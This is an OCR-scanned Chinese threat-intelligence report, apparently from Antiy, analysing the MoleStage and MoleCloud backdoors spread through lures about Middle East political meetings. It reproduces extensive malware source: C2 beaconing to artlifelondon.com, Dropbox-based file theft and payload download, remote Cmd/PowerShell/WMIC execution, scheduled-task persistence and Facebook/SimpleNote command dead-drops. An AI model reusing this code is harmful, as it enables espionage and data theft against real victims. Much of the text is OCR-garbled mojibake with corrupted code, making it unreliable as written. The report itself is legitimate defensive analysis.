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« Details crown prince held 'secret meeting' with Israeli PM.Nov.23.20.MoM
¢ Details of MBS meeting with the US Secretary of State.Nov.23.20.MoM
« Talking points for meeting

P a s s word File: f2345
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2-2 MBS-Israel.pdf IEXXRA
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EFR R EEs =5 Fh
[=] Details crown prince held 'secret meeting' with Israeli PM.Nov.23.20.MoM.e...  2020/11/23 23:43 SERESE o 8,296 KB
[ Details of MBS meeting with the US Secretary of State.Nov.23.20MoM.exe  2020/11/23 23:43  mFRf2R "'"%3
& Talking points for meeting.exe 2020/11/23 2343 pEERE LU g
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H/x2,

R 21 XHARMTHET
X4 ax
Exclusive details of Hamas' Internal Elections 2021.exe PN E R [y N SVipas 7
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Details of MBS meeting with the US Secretary of HEETHA T S EE E S W

State.Nov.23.20.MoM.exe SRAE
Talking points for meeting.exe SR
3 EEARLAHT

3.1 MoleStage

ERRWIEESS |, “RIG7HLAE K. .NETAEL /51 ES K435 L “Stage_One”1E 65 4 &84
R, IRIEX—4HE , T RCERTRAZIEZ AR 445 4 i “MoleStage”,,

%k 3-1 MoleStage Backdoor

MD5 B ),

5F70D52D2BE4D0389EEB1C7E27D5E9BD 2020-11-18 08:51:19+00:00
A559547C0815D1A4C025D6DE25108A70 2020-10-11 10:27:34+00:00
B0779C7794A52CEOF1AAE33539DE6F01 2020-10-08 08:11:31+00:00
5FA06E949FBF66F7E93B1E5F6268C0ES 2020-10-04 08:53:49+00:00
79C25E297870CE68907F2C25564A161F 2020-10-04 08:53:49+00:00
1B1ECSAE327A5543423978E7E58FC44C 2020-10-04 08:53:49+00:00
3893C6D9IAC3BA63C051394FA7F58F24F 2020-09-12 07:31:17+00:00

BRITFFRE) Z M ERRAKIMoleStage , H R HIFIMoleStage 2 18I — M3k AL Office LA
DropperB i , M/ELRANE#H BEHE IR Office3C . BZEBBI , ®RXCERTAIL R BAEARMYmIF
B8] 252020-09-12 07:31:17+00: 00 , MERUTAI412020-11-18 08:51:19+00:00,
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VTHRINEER

Trojan[Spy]l/MSIL.Bobik

OpenOfficeOnline.exe

B0779C7794A52CEOF1AAE33539DEGF01

Intel 386 or later, and compatibles

5.12 MB (5365760 bytes)

BinExecute/Microsoft. EXE[:X86]

2020-10-08 08:11:31+00:00

Microsoft Visual C# / Basic .NET

2020-12-01 15:14:24

14/67

MoleStage/a[ IARDHEZTNRERIE | FREE. TEHF.

TEEKAZMAHER.

PITZAEShell, B HIHITIFANEINEE.

BATX A, fRECH. EE3HE. ERER
MRINBEXT AR BRI T

L FRERE 2RI ABESEENTEFRE | REEEFXHREEBEN %temp%ERT.
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base.FormBorderStyle = FormBorderStyle.None;

base.WindowState = FormWindowState.Maximized;

string text = "_" + DateTime.Now.ToString("yyyyMMddhhmmss™);
pathDD = 5" " ol wn Bl e (el " FEER " W i winmpeE
CaptureMyscreen(pathDD) ; P 2 b
pictureBox1.Imagelocation = pathDD;

3-1 B BB HRFE %temp% BR T

private void CaptureMyScreen(string Path)
1
try
i

Rectangle bounds = Screen.AllScreens[@].Bounds;
B AR ST Bl ol B il "R e B B " ufa
bitmap.Save(Path, ImageFormat Pngl;

catch (Exception)
i
b

i

& 3-2 BRHREESEHKRE

Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, PixelFormat.Format32bppArghb);

2. HIMT S EEEARTESBEMRAR X ENADEEIE T HIKTEEHNEE SRS Ak
MIALRTREEERBRTERAR , MRE , WA E“startdoop” & A “rue” , kR ZKH K A “false”,

private void pictureBoxl MouseClick(object sender, MouseEventArgs e)

{
Hide();
base.ShowInTaskbar = false;
base.Opacity = 8.8;
File.Delete(pathDD);
foreach ( L™ il 1R ool B m b Palllll® B o #.l.l
1
if I',L EE " B __i.I‘!‘\nll:.E!l.H o g Fat ) OB ("EF"}}
1
startloop = true;
break;
b
startloop = false;
i
i

3-3 HIMIEENE SRR BN AEE

"Bl " el M

3. /3 FURLIEEM @ &Jal I ARSI “Startupdate” BRERITEFMA KW, BUTC2IRSZHzH4 | Y

ZRITARD E R HTIERE |, 2188 IESHBIPA K WebBrowser{Z 44317 [a] URL 1
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private void Startupdate()

1
if (startloop && !ISDownload)

1
Pl "l e el B delegate

1
GetUpload();

1)

if (!RunOnes)

1

= mn-uitenll o" sitem "IE"N OneRun);

thread2.SetApartmentState (ApartmentState.5TA);
thread2.start(};

¥
thread.start(};

timeri.stop(); ¢

timerl.Enabled = false; - *
} ANTIY n

3-4 StartupdatepR${

urlCheck “https:/fwww.artlifelondon.com/beta/medias2 php?MamePC= == _&Namequ‘slé;: ~ EMask=0"

3-5 AFE UrlCheck

private void OneRun()

bool flag = false;
string urlCheck = UrlCheck;

if (urlCheck != "")
{

try

i

dynamic val = ¥ " "eell® g of Bille 1 Fan™ " i 0" st leet®™ Bl (" InternetExplorer.Application®}});
val.AddressBar = false;
val.MenuBar = false;
val.ToolBar = false;
val.Visible = false;
val.Navigate(urlCheck);
flag = true;
1

catch (Exception) — *
{ ANTIY g

b

3-6 BT IESLH [ URL
if (!flag)

try
1

¥

catch (Exception)

{ return; ”
K |
) = S

RunOnes = true;

new WebBrowser() . Gafems({new UrifurlCheck)};

3-7 J@ 1T WebBrowser}&{4i/j|aJURL
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4. WERENEEHEE | YZENADWASEERTEMRAL, mlJﬂL‘r‘uﬂczﬂﬁ%%%?iLTﬁim
Ftlzss. AFPEREEE. BNZEIADEEE —&ZAMURL , ¥ BEEIT FURLIRC2AR 2531
uaﬂﬂ‘ ZREITAD 4= EE % FAURLIRC2AR 25 3HTIR(E. ﬁn%%%URLFME%{E%,NJEE

SRBEPZEIIADA—HEFEAERAURL,

Person person = new Person

MamePC = Envircnment.MachineName,
NameUser = Environment.UserName,|
Mask = @

¥

string content = JsonConvert.SerializeObject(person);

StringContent data5 = new StringContent(content, Encoding.UTF8, "application/json™);
string urlP = ""

string uri = https.Umnu.ar‘tlifelondun.cDmr’beta!mediasQ.php";

bool IsPost = false;

L client u"a"a"l S H
string results = "";
a® builder = Bl furi)

{
Query = $"NamePC={person.NamePC}&Namelser={person.NameUser}&Mask={person.Mask}"

3
client.DefaultRequestHeaders.Accept.Clear();
client.DefaultRequestHeaders.Add("User-Agent”, "Mozilla/5.@ (Windows NT 18.8; Win64; x64; rv:80.8) Gecko/28108181 Firefox/88.6");
client.DefaultRequestHeaders.Add("Accept-Encoding™, "*");
client.DefaultRequestHeaders.Add("Accept-Charset”, "utf-8");
client.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/json™));

UrlCheck = builder.Uri.ToString();

3-8 ¥#44Http Client

if (RunOnes)

1
" Pul Tl ™ ool et ool ™ H B W Rl {builder.Uri);

if (httpResponseMessage.IsSuccessStatusCode)

1
¥

else

i

results = httpResponseMessage.Content.ReadAsStringAsync().Result;

urlP = "https://www.artlifelondon.com/beta/medias.php”;
B g™l S "ol N gl g Bomm = urlP, data5);
if (httpResponseMessage.IsSuccessStatusCode)

1
IsPost = true;
resulté = httpResponseMessage.Content.ReadAsStringAsynci).Result;
¥
¥
string[] Sresult = resulte.Split('‘.n'};

3-9H C2RFR[/ARBEEIEE

5. 3REXDropbox APIZ4AA KR B S FFAM : C2BRS-28M0#5 4 K “Startup”B , MW Dropbox APIF4H |,
EE B 53 N Z B Bsh B R H iy & A “Desktops.exe” H TEHFAN ; C2IREHFN®S
ﬁ“access token”B , R Wi Dropbox APIF4S ; BHC2ARSFZRTTAD S |, WBAC2AR 25 K ImA 18 EHVLA
EK , W R BERBHLIARRRS0-60s R Bt \BIF B Z I EIC2AR K2V T HE
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if ESFESUIt?LEﬂgth I= & 8& Sresult[@].StartsWith("Startup”))

4
if (Sresult.Length > 1)
1
AcessTo = st ol™ o mil-Bi i Sf aayH
1
num = 2;
ADD( ) ;

else if (Sresult.length != @ && Sresult[@].StartsWith({"access token"))
1

AcessTo = off luen ™ B it B
¥
else
1
Thread.Sleep(rnd.Next(58, 68) * 1888);
Startupdate();
h

3-103%EXDropbox APIZ4H

private void ADD()

{
string text = Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + MyName + ".exe";
if (!File.Exists(text))
1
=" | | (Assembly.GetEntryAssembly().Location, text);
Iy o
o

-1 B S NEE B3 H R H v 4 A “Desktops.exe”

6. RETAMRETHIEELA | ZEMADALKIESRE., foITRFMAERRE , MERSF A
XLeT B, ZTAEARGELE , NEEDropboxMA THMAXTE , B THERELBARS 25 FELL

DropboxClient dbx = new DropboxClient(AcessTo);
if (Sresult[i].startsWith("Path™))

L string[] array2 = Sresult[i].Sp]it(.E')[l].Tr‘im().Sp]it('#'),'
string pathtool = " F Sty pnan Ealy™ | el = ™" TE.E 'l B § e ™ Ly
if (Sresult[i].StartsWith("PathRar™))
pathRar = pathtool;
llse if (Sresult[i].StartsWith("PathCmd"))
§ PathCmd = pathtool;
else if (Sresult[i].StartsWith("PathPowershell"™))
¢ PathPowershell = pathtool;
]e;]se if (Sresult[i].StartsWith("PathWMIC"))

PathWwMIC = pathtool;

3-12 % ERar, Cmd. Powershell Az WMICHI&12
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if (!File.Exists(pathtool))

1

ISDownlead = true;

using IDownloadResponse<FileMetadata> response? = ol I B faes DownloadAsync(array2[e]);

using FileStream destination = File.Create(pathtool);

(await responsel.GetContentAsStreamAsync()).CopyTo(destination);

person.dprim = pathtool;

if (IsPost)

i
content = JsonConvert.SerializeObject(person);
data5 = new StringContent(content, Encoding.UTF8, "application/json");
httpResponseMessage = muall = I i ol e h ek

I;

else
builder.Query = $"NamePC={person.NamePC}&NameUser={person.NameUser}&Mask={person.Mask}&dprim={person.dprim}"”;
httpResponseMessage = Sl f BB i Sl B ("

result6 = httpResponseMessage.Content.ReadAsStringAsync().Result;

if (resulté == "Done..™)
Ispownload = false;

}

person.dprim = "";

¥

3-13 TRIEEXHEIEEMRKIE , B THRAZNER C2IRFH[AEHE

7. PATIEFEShell  ZJRTIABSPITC2ARF 25 T K HIShelldi 4 , PATAZN AL EPITHERIR B2
C2hR 3525

else if (EndString.StartsWith{"Cmd") || EndString.StartsWith("Powershell™) || EndString.StartsWith{"WMIC"))
1

string shell A, Tl o o " will y;
string textd = "";
if (!ISDownload)
{
ISDownload = true;
if (EndString.StartsWith("Cmd"})

1
text4 = ShellCode(PathCmd, "/C", shell);
else if (EndString.StartsWith("Powershell®™})
text4 = ShellCode(PathPowershell, "/C", shell};

i
else if (EndString.StartsWith("WMIC"))

text4 = ShellCode(PathWMIC, "", shell);

b
if (texts == "")
i
textd4 = "Command Mot Found™;
i

3-14 1EFw ST LRARITHS
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private string ShellCode(string Path, string C, string Shell)

1
[ & ] L L

process.StartInfo.CreateMoWindow = true;
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.5tartInfo.RedirectstandardError = true;
process.StartInfo.FileName = Path;
process.StartInfo.Arguments = C + " " + Shell;
process.Start();
process.BeginErrorReadline();
string text = "";
text = process.StandardOutput.ReadToEnd();
process.WaitForExit();
return text;

i

3-15 P fTIEFEshell

person.Mask = 1;
person.CMD = textd;
if (IsPost)

1
content = JsonConvert.SerializeObject(person);
data5 = new StringContent(content, Encoding.UTF8, "application/json™);
httpResponseMessage = fa ¥ " Ml o E bmEl

¥

else

builder.Query = $"NamePC={person.NameP(}&NamelUser={person.NamelUser }&Mask={person.Mask}&CMD={person.CMD}";
httpResponseMessage = s B o Sl BN "l ™0

result6 = httpResponseMessage.Content.ReadAsStringAsync().Result;

if (result6 == "Done..")
{

ISDownload = false;
hj
person.Mask = @;
person.CMD = "";

3-16 HPITHERRIEEC2URF 2

8. FEXHEIEERIL | KalTAD BT C2JR 5525 KX A T Zit A Dropbox MIFE R LA , TE
RSB C2 RS 2R [ TR,
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if (EndString.StartsWith("DFileDrop™) || EndString.StartsWith("DFromUrl™))
1
string[] strs = EndString.Split('=")[1].Trim({).Split( '#");
string path = (B8 ™ ol el e ol Bl Y EC
if (!ISDownload)
1

IsDownload = true;
if (EndString.StartsWith("DFileDrop"})

{
using IDownloadResponse<FileMetadata> response2 = gl s Ma Ful BN calaled™ o "."'-
using FileStream destination = File.Create(path.Trim()};
(await response2.GetContentAsStreamAsync()).CopyTo(destination);
}
else
{
ES= ™ """ el "
string address = strs[e];
string fileName = path;
servicePointManager.Expectl@@Continue = true;
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls | SecurityProtocolType.Tlsll | SecurityProtocolType.T1s12;
il § ey cullllow- (2ddress, fileName);
1

person.Mask = 1;
if (IsPost)

content = JsonConvert.SerializeObject(person);
data5 = new StringContent(content, Encoding.UTF8, "application/json”);
httpResponseMessage = ™ " Fa™ 0 o Gogele ™ " Tl

b

else

builder.Query = $"NamePC={person.NamePC}&NameUser={person.Namelser}&Mask={person.Mask}";
httphesponseMessage = wmll © wfafals sial®illd. ol 0 "

result6é = httpResponseMessage.Content.ReadAsStringAsync().Result;
if (resulté == "Done..™)

ISDownload = false; ) %
ANTIY m

person.Mask = @;

3-17 THIEEX
9. R E T ERAISCHF © BT C2 RS2 RIX I EREXS N B A THEE

if (Endstring.split({'=')[@].Trim().EndsWith("Z"))
1
string text = "l "R g 8" "= P UNLOCK(pathRar, "", path) : UNLOCK(pathRar, strs[3], path));
string[] array3 = text.split('\n');
foreach (string text2 in array3)
1

if (!text2.Contains("OK"))

{

continue;

string[] array4 = text2.Split(' '};
foreach (string text3 in array4)

1
if (text3.Contains("\\"))

1
}

strpath.Add(text3);

¥
else if (EndString.Split('='}[@].Trim().EndsWith({"E"))

| g |
strpath.Add(path); ANTIY m ﬁ

3-18fiR EFE X ESCHF
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private string UNLOCK(string Rarpath, string pw, string FilePath)

1
om 1 bl §

process.StartInfo.CreateNoWindow = true;
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardeError = true;
process.StartInfo.FileName = Rarpath;
process.StartInfo.Arguments = "x -p" + pw + " " + FilePath + " " + Path.GetDirectoryName(FilePath});
process.Start();
process.BeginErrorReadline();
string text = "";
text = process.StandardOutput.ReadToEnd();
process.WaitForExit();
return text;

i

B 3-19fR 3
10.3Z 1730 - KA IAB LB “RunFile” ERBUE TR E R AIAISC 4.

foreach {stking item in strpéth}

1
¥

RunFile(item’;

3-20 i={T“strpath”FIRP IS4

private void RunFile(string Path)
1
-L.ﬂi-.- .I-I"H

process.StartInfo.CreateNoWindow = true;
process.StartInfo.UseShellExecute = false;
process.S5tartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.FileName = Rath;
process.Start()};

3-21 IE{THEE MR 1

1. REFEE AR IR « BXJaTIAD BENRIEREE RN ERSIRE , R RREREIK
SRIREZEC2RS .

else if (EndString.StartsWith("ListFile"})
1
if (!ISDownload)
1
IsDownload = true;
string[] source = EndString.Split('=")[1].Split('%#");
source = source.Where((string x) => !string.IsNullOrEmpty(x)).ToArray();
int num2 = int.Parse(source[@]);
int num3 = int.Parse(source[1l]);
string texts = ™";
if (source.Length == 3)

text5 = source[2];

str‘ing path3 =i '_. n :.x 1 ] " | . "0 !-‘ £ ] " EEm N | - I = é u;. i _.J
SearchOption searchOption = ((num3 != @) ? SearchOption.AlLlLDirectories : SearchOptien.TopDirScioriORLY);
string[] files = " """ "W (path3, "*.*", searchOption}; .

string listFile = s,tr‘ing,-Ilozin[:"‘\r"m"J files);

Page 13 of 34



https://www.antiy.cn/research/notice&report /research_report/20201228.html

3-22 FRERFERE BRAZEI M3 15R

person.Mask = 1;
person.ListFile = listFile;
if (IsPost)

{
content = JsonConvert.SerializeObject({person);
data5 = new StringContent(content, Encoding.UTF8, "application/json™);
httpResponseMessage = =il - ol " " il i "o "W

1

else
builder.Query = $"NamePC={person.NamePC}&NameUser={person.NameUser}&1ask={person.Mask}&ListFile={person.ListFile}";
httpResponseMessage = waml | slef™ ol Sl Sue " o uy

1

resulte = httpResponseMessage.Content.ReadAsStringAsync().Result;

if (resulte == "Done..™)

{
ISpownload = false;

i

person.Mask = @;

person.ListFile = ™";

3-23 ¥AREUANSCAHF IR RX ZE C2 R %25

12. HETEE AR AR TR B S AFEDropbox & R AU 4K |, BIRTTAE . &A%
BENF R HETEEIRIZA M EEZE DropboxWE FAIRIISCAFRT |, EETTMRRM C2RF 2 RIEM
INHE. FE LB, ARTHHAR/NEIT4MB |, W3ET “ChunkUpload”ER¥g 53k 1%,

else if (EndString.StartsWith("UploadFiles™))
1
Ispownload = true;
string[] strs = EndString.Split('='}[1].Split({'#');
strs = strs.Where{(string x} =» !string.IsNullOrEmpty(x)}.ToArray();
string path = "/" + strs[@];
try
1
CreateFolderArg createFolderfArg = new CreateFolderArg(path);
e ™ e "l o el S il [ createFolderarg);
I
catch
1
¥

3-24 ZEDropbox M &SI TEE K

int num4 = int.Parse(strs[1]);
int numS = int.Parse(strs[2]);
string texté = "";

if (strs.Length == 4)

1

texte = strs[3];

string text? = ((numd <= @) ? text6 : Environment.GetFolderPath((Environment.SpecialFolder)numd}));
s .k searchOption? = | RN "0 %" Pl Bl "Wl - P Sl
string[] arrays = (((File.GetAttributes(text7) & FileAttributes.Directory) == FileAttributes.Directory) ?

text?

1is
for (int 1 = @; 1 < array5.Length; 1++)

Thread.Sleep(1@@@);

string fileName2 = Path.GetFileName(arrayS[1]);
UploadFile(array5[1l], dbx, path, fileMamezjﬂ
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3-25 IRERFERE B2 43 _E £ ZE Dropbox

private async Task UploadFile(string localPath, DropboxClient client, string FolderMame, string PathName)

{

string path = FolderName + "/" + PathName;

using FileStream fileStream = & on "n” o'l ull s SRS |
if (fileStream.Length > 4194384)
{
await ChunkUpload(path, fileStream, 4194384, client);
1
else
{ .
— i 1% %" UploadAsync(FolderName + "/" + PathName, WriteMode.Overwrite.Imstance,Cattolciahe:

3-26 _H{EC 4 ZE DropboxeR#

private async Task ChunkUpload(string path, FileStream stream, int chunkSize, DropboxClient client)

1
ulong numChunks = (ulong)Math.Ceiling((double)stream.Length / (double)chunksize);
byte[] buffer = new byte[chunkSize];
string sessionId = null;
for (ulong idx = @ul; idx < numChunks; idx++)
int count = BN o -G Sl x ™ "
using MemoryStream memStream = new MemoryStream(buffer, 8, count);
if (idx == @L)
sessionld = (await client.Files.UploadSessionStartAsync(close: false, memStream)).SessionId;
continue;
UploadSessionCursor cursor = new UploadSessionCursor(sessionId, (ulong)chunkSize * idx);
if (idx != numChunks - 1)
1
await client.Files.UploadSessionAppendV2Async(cursor, close: false, memStream);
}
else
Conscle.WriteLine((await client.Files.UploadSessionFinishAsync(cursor, new CommitInfo(path), memStream);.PathDisplay)
} Sl
b
3

3-27 SR k%

person.Mask = 1;

if (IsPost)

1
content = JsonConvert.SerializeObject(person);
data5 = new StringContent(content, Encoding.UTF8, "application/json");
httpResponseMessage = o'el ne el =lalenlle by ween w8

¥

else

builder.Query = %"NamePC={person.NamePC}&NameUser={person.NameUser}&Mask={person.Mask}";
httpResponseMessage = Bl 0 o"in Bl"E "™ " B 70 6

¥

results = httpResponseMessage.Content.ReadAsStringhAsync().Result;

if (resulte == "Done..")

1
¥

person.Mask = 8;

IsDownload = false;

3-28 HERTNEM C2IRFB[/RILHEE
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3.2 MoleCloud

“MoleCloud”Z{# FiPythoniE 5 4m'5 B & PyInstallerf T B A EXER) f5 | A2 F , H 5 MoleStage &S x4
— K FiDropbox W& _EEGTERISEF AR FE SR THH MERN TR . BERH.

MoleCloudFZEDNEEANE WG 1DhEE , TER  WEH LEBEFNERE., BERHEMER
Facebook, SimpleNotelk-S#kEXDropbox B4R B E a4, BITHEHE N4 A8 S Dropbox W £
TEIF.

% 3-3 Talking points for meeting.exe

RERWK Trojan[PSW]/Python.Stealer

B k4 Talking points for meeting.exe

MD5 3158E619788D56669175490817863FB1
LBy o) Intel 386 or later, and compatibles
RN 12.08 MB (12671566 bytes)

RS BinExecute/Microsoft. EXE[: X86]

B K 2020-08-08 12:30:37+00:00

) 2T T

p)l1be it T

WEES Python

VTE R _E{EE A 2020-11-25 04:49:38
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VTHMEER 30/68

XfMoleCloud [ IAD E{RK A HTANT -
1. KEBRINEBLEB“WINRARRHEUR EBFALHEW

LZEITADHSZEERER , BASREEREREWINRAR B BFEBIN , MNRFEMLRE
BT, RZNEFREEF. KEWINRARKRGFAERER | TR AR RS ERSNIRETE
FIR“WINRAR X GV EISC AT B 48 |, A {ERSTEREIRN X L1 E Dropbox. Hk , REIIABLET
FRERZIRILCID Language ID¥K2EH BB ARNKKEHENNERAR , MRBNRLEETT , RZNIRE
11T,

pr=1[
's']
pra3e = ['223']
try:
pr = sl il a e (0s . environ[ ' ProgramWg432 " ])
prse = i B v (0s.environ[ "PROGRAMFILES(X86) ']}
except:
pr = g m w8 (0s.environ[ ' PROGRAMFILES'])

SettingFile = 'set.txt’
activeacc = "'

activecm =
OnLineFileNmae = 'soundplyer.exe’

ReConTime = 388

ftokenlink = "https://www.facebook.com/vora.stev.5/posts/189332877659751"
fomlink = "https://www.Tacebook.com/vora.stev.5/posts/189333580993022 "
stokenlink = "http://simp.ly/p/e475bp"

scmlink = ‘hittp://simp.ly/p/vyXXKY' # Simplenote

linksplit = "#**§#’

cmsplit = '#FFR

3-29 YA AR

def langallow(): # EiTHEIEENAILCID Language IDEH|EFETERETRE
allhex = [
'Bx1’, '6x1481', 'ex3Ce1', 'ex1ese’, 'ex1eee’, 'ex1ese’, 'exCel’, 'ex1eee’, '8xsel’, '6x1eee’, '6x20e1’,
'Bx34081°, 'Bx3801°, '8x1861', '8x1888’', 'ex1881', '@x2081', '9x1e88', '8x48el’, 'ex4sl’, 'ex1ess’,
"Aax1ees’, 'Ax1e6A’, 'Ax2861°, 'Ax1CE1", '8x3861°, 'Ox1esd’, '8x2481°]
klid = w “g oeme el N" el § e 8 cowils el a )
im list = mff " e ol i w
for 1 in im list:
lid = 1 & B85535
1id _hex = hex(lid)
upp = map(lambda x: x.upper(), allhex)
if lid hex.upper() in upp:
print(‘ok")
return True

return False

3-30 HIT R EFEERTNENAR

B X RIS PR EMILCID Language IDEHATAHT , AIARILZ AT ARG AR Bt i) B AR AR (A
HEREZ , Fla0 : FIELTE, ERMA. RIE/R, BB, FHisw, REURBFTEFER. KK
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LCID Language IDSY A IVE S A E ZKANFR3-4FT7R

3R 3-4 LCID Language IDX W H#{ES FIEZHR

LCID Language ID ES-ER

0x1 Arabic ([H{EVE)

0x1001 Arabic - Libya (A {R1& — FIPLIL)
0x1401 Arabic - Algeria ([H{RYE — FI/REFITL)
0x1801 Arabic - Morocco (FAIH{AVE — BEI&EF)
0x1C01 Arabic - Tunisia ([TH{AYE — X e HT)
0x2001 Arabic - Oman ([ {A1E - [ )

0x2401 Arabic - Yemen (FAH{A7E - t[7])

0x2801 Arabic - Syria ([H{EE - AFILE)
0x2C01 Arabic - Jordan (FAR{EVE - £498)

0x3001 Arabic - Lebanon ([H{AE - Z22EEM)
0x3401 Arabic - Kuwait (FIH{AvE - BHEEF)
0x3801 Arabic- UAE. ([THA{EE - FIHAEXEREKE)
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0x3C01 Arabic - Bahrain ([[H{EE - E4K)

0x4001 Arabic - Qatar ([H{E1E — R¥E/R)

0x401 Arabic - Saudi Arabia (FATH{EVE — PAFFIHIMA)
0x801 Arabic - Traq (FIH{EVE — i)

0xC01 Arabic - Egypt (FHL{HE - &K

2. 3%EXDropbox APIZZ4H :

WREENHBR , % EI AL {ELIE T Facebook2 & SimpleNote it - 5k EX B i3 ) Dropbox API
W4 |, % Dropbox APIZERE T “4**#” F /AN , fal IARDLIE L find_betweentk #32 EX Dropbox API%:
£,

try:
= mwmnnfl gf c(ftokenlink) # ftokenlink = https://www.facebook.com/yora.stev.5/posts/189332877659751
s = r.text
stoken = find_between(s, 'content="#%*#',6 '#¥*%")
print(stoken)
if stoken:
try:
dbx = dropbox.Dropbox(stoken)
except:
print('error tokenl')

else:
r2 = ol gr=(stokenlink) # stokenlink = http://simp.ly/p/@4TSbp
52 = r2.text
stoken2 = find_between(s2, '#**#', '#**#')
print(stoken2)
if stoken2:
try:
dbx = dropbox.Dropbox(stoken2)
except:
print('error token'}

else:
print('spaceeeececeeee’)
except:
print(‘error in get token')

3-31 $kH{Dropbox API#4A
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def find_between(s, first, last):
try:
start = s.index(first) + len(first)
end = s.index(last, start)

return Oy
except ValueError:
return "'

3-32 find_betweeniR %X

Yora Stev
11816H 16:55 - &

#**#ALDS-

qDM7LQAAAAAAAAAAarPmKKccuQxepwM4mxMbFroCKYay
WOIiA-rReRBJESKY#**#

D = O Fie w» DE
t EiFig.. ©O©°® @

3-33 Brii#& Facebooklk-S_F AT 7 A& Dropbox APIZZ4A
3. HEREHER

U RNERELE Dropbox APIZ4] , R TAS KRN BEEN S RERGUREAXHEES
A%USERPROFILE%\info.txt3 £ , FIRZ G TARLD &% info.txt_H{&ZE Bih & i Dropbox 3 ATE EHLE
AP AL RXDZEE.
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Desktopfiles = os.listdir(os.path.join{os.environ[ "USERPROFILE'], 'Desktop’)) # ﬁﬁ-}ﬁéﬂﬁhﬁﬂ}:ﬁﬂﬁ
if not pr[@] == '======ProgramFiles====":

pr.insert(®, '======ProgramFiles====")
if not Desktopfiles[@] == '======Desktopfiles====":

Desktopfiles.insert(@, '======Desktopfiles====")
else:

try:

with open((os.environ[ "USERPROFILE'] + '/info.txt'), 'w', encoding='utf-8') as (f):
for item in pr + Desktopfiles:
f.write('¥s\n' ¥ item)

except:
print({’error in write my file')

try:
file list = []
result = B ™" by o afnelle olafall ,
for entry in result.entries:
file list.append(entry.name)

except:
print(’error in connections’)

myinfotxt = username + '.txt’
if myinfotxt not in file list:
try:
with openf{os.environ[ "USERPROFILE'] + '/finfo.txt', 'rb') as (f):
me * Tumm oBlewin(f.read(), '/’ + username + ".txt') # J:{?i#%dmphux
except:
print(’'file is uploded’)

else:
print('info was up ')

3-34 FHRIFINE S LEEREE K Dropbox
4. J8idFacebook, SimpleNote}REXIEHH K64 :

ZEIIARD LB ViRIFacebook A K SimpleNote R &5 R HE AL NG4S , WEEALHHS
B ##"FRER, BT X BEE LR -4 R “Yora Stev’ B Facebook Ik S T —ERBSBIINER , B
Z HarATRENN IR T & M S INFR3-5FT7R.

cr = requests.get(femlink) # 17 [alhttps://www.facebook.com/yora.stev.5/posts/180333500993022 BT HE M S
s = cr.text
cmdo = find_between(s, 'content="#**#', '#**#').replace('&quot;’, '"")
if not cmdo: # INEHFEEN FomlinkFFEEdr4, MIEFE 1A Rlhttp: //simp. y/p/ vy 0Ky B HE B4
cr = m mymnmm mll p{scmlink)
s = cr.text
cmdo = find between(s, '#%**#', '"#**#').replace( '&quot;', '™")

3-35 XK & A<

p = mpps u _l:{{' + Cm:lJ
startupinfo=startupinfo,
stdout=(subprocess.PIPE),
shell=True,
stderr=(subprocess.PIPE},
stdin=(subprocess.PIPE)) # FiTa4

out, err = p.communicate()

outs = stri{out.decode( ' utf-8"))

cmfilename = username + '_cm_' + str(datetime.datetime.now().timestamp()) +

. tmp'

3-36 PUTHHEWS
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Yora Stev
1AB16H 16:56 - @

#**#Hall:dirg**#
o = O e o PE

P = OB & @

3-37 HFER L KBS

% 3-5 BRIEIN K S E | dSXRAThRE

wed Thik

all::tasklist P iTtasklistin 4 , BIEFEFEALAMEFE
all::dir WATdirds 4 , RIBEFRKIETP M.
all::re::30 TRAR30RD

P T schtasksdn 4, BIQIEE. Mk, &, Tk
TR EE AT RHES

all::schtasks

$7r & OnLineFileNmaeli{ {8 jsoundplyer.exe , B} T~ —
MNE TR Asoundplyer.exe , [EIFIRIFALE
OnLineFileNmaed? Name# I 5 &HE iNmaer] LLFH
EHEEHEETREREIOE,

all::set::soundplyer.exe

¥ A EOnLineFileNmaell{E A Kd.exe , I F—1EF
I AKd exe

all::set::Kd.exe
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¥ A EOnLineFileNmael{{E AP View.exe , Bf F—/E
TEBISH R PView.exe

all::set::PView.exe

all::schtasks /create /sc minute /mo 1 /tn

"PView" /F /tr JPView.exeflZE 4 APViewKITXHES

"\" %userprofile%\PView.exe\" "

5. FEBIHETE I
ARG SEEREH R Dropbox M T, B{TRHHETEE N .

try:
with open{os.environ[ "USERPROFILE"] + '/' + OnLineFileNmae, 'wb'}) as (f):
metadata, res = " Fom Bem™ wg(path={'/' + OnLineFileNmae)} # TEZ{&
f.write(res.content)
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF USESHOWWINDOW
HE =2 EE ([II
os.environ[ "USERPROFILE'] +
i
OnLineFileNmae],
creationflags=(subprocess.CREATE_NEW_CONSOLE},
startupinfo=startupinfo)
out, err = p.communicate()
except:
print('error in connections down')

3-38 TH, BITHHEE M

TEB % Dropbox WM R EFF RS | B— N304 A “proshear” LHFRME E4E. ¥IHENE
el aE N HAMEE MM |, HTREA BT E BT MoleCloud FAZESEENR , AN TRGSNZE
UrBSHTHREFIIT. T3 Dropbox R AT F R S 3K 4 S AN 3R 3-6 AT/

= 3-6 B tr& Dropbox & FHIEE 43

MD5 X4 ik
AE3D8576594867CFD55BACIFE12D6A54 Kd.exe Quasar RAT
7E7EAABAEBC4026BE3B56B965B0D8947 soundplyer.exe Process Explorer
3158E619788D56669175490817863FB1 PView.exe MoleCloud
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48B9A42191DFF6371AEB3D7DCB3A8480 proshear.rar B AEE Y

SR, KM EEFER IR R EETRREXESR.
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======ProgramFiles====

CCleaner

Common Files

desktop.ini

Internet Explorer

KMPlayer 64X

KMSpico

Microsoft Analysis Services
Microsoft Office

Micrasoft SQL Server

Microsoft Update Health Tools
Microsoft.MET
ModifiableWindowsApps

Uninstall Information

NP

Windows Defender

Windows Defender Advanced Threat Protection
Windows Mail

Windows Media Player

Windows Multimedia Platform
Windows NT

Windows Photo Viewer

Windows Portable Devices

Windows Security

Windows Sidebar

WindowsApps

WindowsPowershell

WinRAR

